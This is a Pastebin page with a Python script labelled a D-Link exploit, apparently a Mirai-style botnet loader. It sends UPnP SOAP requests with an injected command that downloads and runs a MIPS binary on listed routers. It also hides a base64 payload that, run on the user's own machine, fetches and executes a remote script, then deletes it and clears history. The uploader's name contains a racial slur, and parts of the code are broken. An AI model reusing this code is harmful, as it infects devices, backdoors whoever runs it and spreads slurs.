mirainigga

[Python] DLINK exploit

Jul 8th, 2018
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.14 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, re, os, struct, array, requests, base64, subprocess
  3. from sys import stdout
  4. from Threading import thread
  5. from Queue import *
  6. ips = open(sys.argv[1], "r").readlines()
  7. queue = Queue()
  8. queue_count = 0
  9. p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;wget http:1.1.1.1/bins/mips;chmod 777 *;./mips dlink.exploit/</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>"
  10.  
  11. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  12.  
  13. def start_dlink(cmd):
  14. subprocess.call(cmd, shell=True)
  15. dlinkpayload = "Y2QgL3RtcDsgd2dldCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTHE5UDlDZzUgLU8gYSA+IC9kZXYvbnVsbCAyPiYxOyBjaG1vZCA3NzcgYTsgc2ggYSA+IC9kZXYvbnVsbCAyPiYxOyBybSAtcmYgYTsgaGlzdG9yeSAtYzsgY2xlYXI7"
  16. pload = str(base64.b64decode(dlinkpayload))
  17. start_dlink(pload)
  18.  
  19. def rtek(host):
  20. try:
  21. url = "http://" + host + ":49152/soap.cgi?service=WANIPConn1"
  22. requests.post(url, timeout=5, headers=headerlist, data=p1)
  23. except:
  24. pass
  25. return
  26.  
  27. def main():
  28. global queue_count
  29. for line in ips:
  30. line = line.strip("\r")
  31. line = line.strip("\n")
  32. queue_count += 1
  33. sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  34. sys.stdout.flush()
  35. queue.put(line)
  36. sys.stdout.write("\n")
  37. i = 0
  38. while i != queue_count:
  39. i += 1
  40. try:
  41. input = queue.get()
  42. thread = Thread(target=rtek, args=(input,))
  43. thread.start()
  44. except KeyboardInterrupt:
  45. sys.exit("Interrupted? (ctrl + c)")
  46. thread.join()
  47. return
  48.  
  49. if __name__ == "__main__":
  50. main()
Add Comment
Please, Sign In to add comment